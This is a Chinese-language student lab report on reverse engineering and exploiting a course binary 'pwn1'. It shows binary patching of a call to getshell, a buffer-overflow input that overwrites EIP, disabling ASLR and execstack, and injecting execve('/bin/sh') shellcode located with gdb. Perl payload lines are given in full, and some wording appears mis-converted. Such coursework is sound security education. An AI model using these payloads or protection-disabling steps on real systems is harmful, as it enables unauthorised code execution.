20175105王鑫浩 2019-2020-3 《網絡對抗技術》Exp1 PC平臺逆向破解shell
- 經過共享文件夾將
pwn1
導入Kali虛擬機(導入三份,分別用於三個任務)- 打開kali虛擬機終端,經過
mkdir -p
命令新建多級目錄,經過cp
命令將共享文件夾的pwn1
複製到新建目錄裏
- 經過
objdump -d pwn1 | more
命令對pwn1反彙編- 彙編指令出來後,回車查看更多,翻到
getshell
、foo
與main
函數查看其地址,main
函數call的地址是8048491
即foo
函數的首地址,getshell
的首地址是804847d
。call
的機器指令爲e8 7dffffff
,e8
爲call
的機器指令,7dffffff
即0xffffff7d
是關於eip寄存器地址的偏移地址
即等於eip寄存器指令存放下條指令地址0x80484ba-目的地址0x8048491
- 現任務是將
call
的地址改成getshell
的首地址804847d
,因此應該將機器指令e8 7dffffff
的地址部分換成0x80484ba-0x804847d=0xffffffc3
即c3ffffff
,經過vi pwn1
命令對pwn1
文件進行編輯,能夠看到文件內容是16進制,能夠經過:%!xxd
將文件內容轉換成能夠讀懂的ASCII碼
- 轉換成ASCII碼以後,經過輸入
/e8 7d
能夠查找main函數call指令的機器代碼
- 將光標定位在7上按r輸入
c
,光標定位在d上按r輸入3
,而後輸入%!xxd -r
將ASCII代碼轉換爲16進制- 輸入
:wq
保存退出- 此時再反彙編查看
main
函數中call
的函數已經變爲getshell
- 運行pwn1,主函數會調用getshell函數
- 對備份的
pwn1
進行反彙編- 能夠看到,·main·函數爲
foo
函數輸入的預留空間爲0x1c
,即28字節,加上ebp寄存器
的4字節,因此eip寄存器
的值應爲33-36字節的值
- 使用
gdb pwn2
命令調試程序,輸入r
運行,輸入40個字符會發生緩衝區溢出,顯示Segmentation Fault
。其中的33-36個字符‘1234’會覆蓋eip寄存器的值,用info r
查看寄存器的值,eip寄存器
爲0x34333231
,若將eip寄存器
的值構造爲0804847d
就能夠在foo
函數執行完回到main
函數時進入到getshell
函數
- 沒法從鍵盤輸入16進制的值,因此用
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
命令構造出16進制地址並將輸入內容放進input文件裏。地址應倒過來寫,\0a是換行。- 經過
(cat input; cat ) | ./pwn2
pwn2並將input裏邊的內容輸入到pwn2運行的程序中,就能夠跳到getshell函數中
- 下載execstack
- 運行下列指令
```execstack -s pwn3``` 設置堆棧可執行 ```execstack -q pwn3``` 查詢文件的堆棧是否可執行,結果爲X表示可執行 ```more /proc/sys/kernel/randomize_va_space``` 查看隨機化是否關閉 ```echo "0" > /proc/sys/kernel/randomize_va_space``` 關閉隨機化 ```more /proc/sys/kernel/randomize_va_space``` 再次查看,結果爲0證實已關閉
- 經過
perl -e 'print "A" x 32;print"\xd0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
構造老師給的shellcode
,並將shellcode
保存到input_shellcode
- 輸入
(cat input_shellcode;cat) | ./pwn3
運行pwn3
- 再打開一個終端,在第二個終端中輸入
ps -ef | grep pwn3
查看pwn3的進程號爲3096- 接下來經過
gdb
命令開始調試,輸入attach 3096
鏈接到pwn3進程,鏈接後輸入disassemble foo
對foo
函數進行反彙編查看foo
函數return
指令的地址爲0x080484ae
,而後輸入break *0x080484ae
在此處設置斷點
- 在終端a中回車,程序會執行到斷點處,在b終端輸入c在斷點處繼續運行,此時輸入
info r esp
查看esp寄存器的值爲0xffffd21c 輸入x/16x 0xffffd21c
以16進制形式查看0xffffd33c地址後面16字節的內容是在最開始構造的input_shellcode
裏的內容,因此將shellcode
注入地址爲0xffffd33c+0x00000004=0xffffd340- 經過
perl -e 'print "A" x 32;print"\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
從新構造改完注入地址的input_shellcode,並輸入(cat input_shellcode;cat) | ./pwn3
運行pwn3,能夠跳到構造的shellcode
程序中
NOP彙編指令的機器碼是"90"
JNE彙編指令的機器碼是"75"
JE 彙編指令的機器碼是"74"
JMP彙編指令的機器碼是"eb"
CMP彙編指令的機器碼是"39"sass
答:我認爲漏洞是在系統中沒法避免的缺陷。漏洞的存在可能會對系統的保密性、可用性等安全屬性形成危害。安全